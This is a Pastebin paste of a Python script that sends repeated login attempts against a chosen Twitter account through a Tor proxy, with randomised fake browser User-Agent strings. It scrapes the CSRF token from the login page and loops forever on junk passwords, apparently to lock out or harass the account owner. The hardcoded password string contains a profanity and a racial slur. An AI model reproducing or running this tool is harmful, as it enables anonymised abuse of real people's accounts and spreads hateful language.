Advertisement
Guest User

Untitled

a guest
Nov 16th, 2016
942
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.54 KB | None | 0 0
  1. import requesocks
  2. import sys
  3. import random
  4. import time
  5.  
  6. def getUserAgent():
  7. platform = random.choice(['Macintosh', 'Windows', 'X11'])
  8. if platform == 'Macintosh':
  9. os = random.choice(['68K', 'PPC'])
  10. elif platform == 'Windows':
  11. os = random.choice(['Win3.11', 'WinNT3.51', 'WinNT4.0', 'Windows NT 5.0', 'Windows NT 5.1', 'Windows NT 5.2', 'Windows NT 6.0', 'Windows NT 6.1', 'Windows NT 6.2', 'Win95', 'Win98', 'Win 9x 4.90', 'WindowsCE'])
  12. elif platform == 'X11':
  13. os = random.choice(['Linux i686', 'Linux x86_64'])
  14. browser = random.choice(['chrome', 'firefox', 'ie'])
  15. if browser == 'chrome':
  16. webkit = str(random.randint(500, 599))
  17. version = str(random.randint(0, 24)) + '.0' + str(random.randint(0, 1500)) + '.' + str(random.randint(0, 999))
  18. return 'Mozilla/5.0 (' + os + ') AppleWebKit/' + webkit + '.0 (KHTML, live Gecko) Chrome/' + version + ' Safari/' + webkit
  19. elif browser == 'firefox':
  20. year = str(random.randint(2000, 2012))
  21. month = random.randint(1, 12)
  22. if month < 10:
  23. month = '0' + str(month)
  24. else:
  25. month = str(month)
  26. day = random.randint(1, 30)
  27. if day < 10:
  28. day = '0' + str(day)
  29. else:
  30. day = str(day)
  31. gecko = year + month + day
  32. version = random.choice(['1.0', '2.0', '3.0', '4.0', '5.0', '6.0', '7.0', '8.0', '9.0', '10.0', '11.0', '12.0', '13.0', '14.0', '15.0'])
  33. return 'Mozilla/5.0 (' + os + '; rv:' + version + ') Gecko/' + gecko + ' Firefox/' + version
  34. elif browser == 'ie':
  35. version = str(random.randint(1, 10)) + '.0'
  36. engine = str(random.randint(1, 5)) + '.0'
  37. option = random.choice([True, False])
  38. if option == True:
  39. token = random.choice(['.NET CLR', 'SV1', 'Tablet PC', 'Win64; IA64', 'Win64; x64', 'WOW64']) + '; '
  40. elif option == False:
  41. token = ''
  42. return 'Mozilla/5.0 (compatible; MSIE ' + version + '; ' + os + '; ' + token + 'Trident/' + engine + ')'
  43.  
  44.  
  45. def find_between( s, first, last ):
  46. try:
  47. start = s.index( first ) + len( first )
  48. end = s.index( last, start )
  49. return s[start:end]
  50. except ValueError:
  51. return ""
  52.  
  53. def check_password(username, password):
  54.  
  55. s = requesocks.session()
  56.  
  57. headers = {'User-Agent': getUserAgent()}
  58. proxy = {"http" : "socks5://127.0.0.1:9050",
  59. "https" : "socks5://127.0.0.1:9050"}
  60.  
  61. login_url = 'https://mobile.twitter.com/login'
  62. r = s.get(login_url, headers=headers, proxies=proxy)
  63.  
  64. if (r.status_code == 200):
  65.  
  66. auth_token = find_between(str(r.text), '<input name="authenticity_token" type="hidden" value="', '"/>')
  67. redirect_url = find_between(str(r.text), '<input type="hidden" name="redirect_after_login" value="','">')
  68.  
  69.  
  70. payload = {'authenticity_token':auth_token, 'remember_me':'1', 'wfa':'1', 'redirect_after_login':redirect_url, 'session[username_or_email]':username, 'session[password]':password}
  71. session_url = 'https://mobile.twitter.com/sessions'
  72. r = s.post(session_url, headers=headers, data=payload)
  73.  
  74. return
  75.  
  76.  
  77. def check_file(username):
  78. password = "fuckyourtwitteraccountnigga"
  79. attempts = 0
  80. while (1):
  81. password += str(random.randint(1, 100))
  82. try:
  83. check_password(username, password)
  84. print "attempts", attempts
  85. attempts += 1
  86. time.sleep(1)
  87. except Exception as e:
  88. print "error", e
  89. password = "fuckyourtwitteraccountnigga"
  90.  
  91. reload(sys)
  92. sys.setdefaultencoding('utf-8')
  93.  
  94. check_file(sys.argv[1])
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement